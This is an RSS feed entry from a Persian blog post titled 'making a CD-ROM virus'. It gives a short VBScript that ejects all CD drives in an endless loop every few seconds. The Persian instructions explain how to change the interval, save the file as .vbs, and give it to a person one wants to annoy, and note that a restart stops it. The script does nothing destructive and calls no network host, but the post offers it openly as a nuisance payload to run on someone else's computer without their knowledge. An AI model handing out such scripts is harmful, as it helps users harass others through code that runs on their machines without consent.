نوشته های KasraKhaleghihttps://virgool.ir/feed/@KasraKhaleghiBorn in Shiraz | Front-End Developerfa2026-11-12 05:53:19https://files.virgool.ir/upload/users/1469366/avatar/lyNcPi.jpgKasraKhaleghihttps://virgool.ir/@KasraKhaleghiساختن ویروس سی دی رامhttps://virgool.ir/@KasraKhaleghi/ساختن-ویروس-سی-دی-رام-sj5oixhhfgqaSet oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 8000loopخب با این ترفند هر 8 ثانیه دیسک خوان شما باز می شودو اگه می خواید این مدت زمان رو بیشتر یا کمتر کنیددر قسمتwscript.sleep 8000که در کد ها هست رو می تونید مثلا به دو ثانیه (2000 در کد بزنید بعد از کلمه ی sleep) تغییر بدیدکه اینطوری میشهwscript.sleep 2000و در آخر با فرمت vbs سیو کنیدو می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدیدبرای غیر فعال کردن ویروس سیستم خود را restart کنید.KasraKhaleghiKasraKhaleghiThu, 20 Jan 2022 13:27:08 +0330